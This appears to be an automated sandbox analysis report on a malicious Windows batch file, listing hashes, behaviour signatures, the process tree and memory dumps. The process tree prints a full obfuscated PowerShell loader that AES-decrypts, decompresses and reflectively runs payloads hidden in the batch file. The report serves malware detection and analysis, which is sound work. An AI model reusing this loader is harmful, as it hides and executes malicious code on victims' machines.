5187903da5fbbdb1cde09db8f9716f9b4196f36ef9788e77f4c51bc2087b5762

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
28-04-2024 00:08

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General

Target

Freerubexgenpython.bat
Size

268KB
MD5

08e71b8265c7b98e17894abe76a5d2d5
SHA1

e5ab42da766a21f3fbd268e18949d8faac06d44b
SHA256

5187903da5fbbdb1cde09db8f9716f9b4196f36ef9788e77f4c51bc2087b5762
SHA512

d7e174c2d088da25b15a5bf11879586137bfe37bda060f96cb303cf4fc031b03edebacc33008379a2839fcaca2d5882120fb40d839f8e903fe8a61674bffe851
SSDEEP

6144:1ZM4WQySKAs2GF6zmiSbv/ZIsDUU1XkUp/q9PKrjh2uAJ:Q43ySXYGwUHUF8SR2j

Score

1^/10

Malware Config

Signatures

Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2820 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2820 powershell.exe

pid	process
2820	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exenet.exe

description	pid	process	target process
PID 2944 wrote to memory of 3024	2944	cmd.exe	net.exe
PID 2944 wrote to memory of 3024	2944	cmd.exe	net.exe
PID 2944 wrote to memory of 3024	2944	cmd.exe	net.exe
PID 3024 wrote to memory of 2412	3024	net.exe	net1.exe
PID 3024 wrote to memory of 2412	3024	net.exe	net1.exe
PID 3024 wrote to memory of 2412	3024	net.exe	net1.exe
PID 2944 wrote to memory of 2820	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2820	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2820	2944	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Freerubexgenpython.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:2412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OMfU2O/sz3OM/dxd2x/oRWHtwta2mB/0Opg+Z1lWEW0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EN242PanCEqLXh62K3FbUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CiBhI=New-Object System.IO.MemoryStream(,$param_var); $eaDHU=New-Object System.IO.MemoryStream; $BbFJq=New-Object System.IO.Compression.GZipStream($CiBhI, [IO.Compression.CompressionMode]::Decompress); $BbFJq.CopyTo($eaDHU); $BbFJq.Dispose(); $CiBhI.Dispose(); $eaDHU.Dispose(); $eaDHU.ToArray();}function execute_function($param_var,$param2_var){ $FUVAc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HzYVf=$FUVAc.EntryPoint; $HzYVf.Invoke($null, $param2_var);}$CRArJ = 'C:\Users\Admin\AppData\Local\Temp\Freerubexgenpython.bat';$host.UI.RawUI.WindowTitle = $CRArJ;$WIcio=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CRArJ).Split([Environment]::NewLine);foreach ($nSrGG in $WIcio) { if ($nSrGG.StartsWith(':: ')) { $lwNuy=$nSrGG.Substring(3); break; }}$payloads_var=[string[]]$lwNuy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2820

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2820-4-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2820-5-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2820-7-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2820-10-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2820-9-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2820-8-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-6-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-11-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2820-12-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download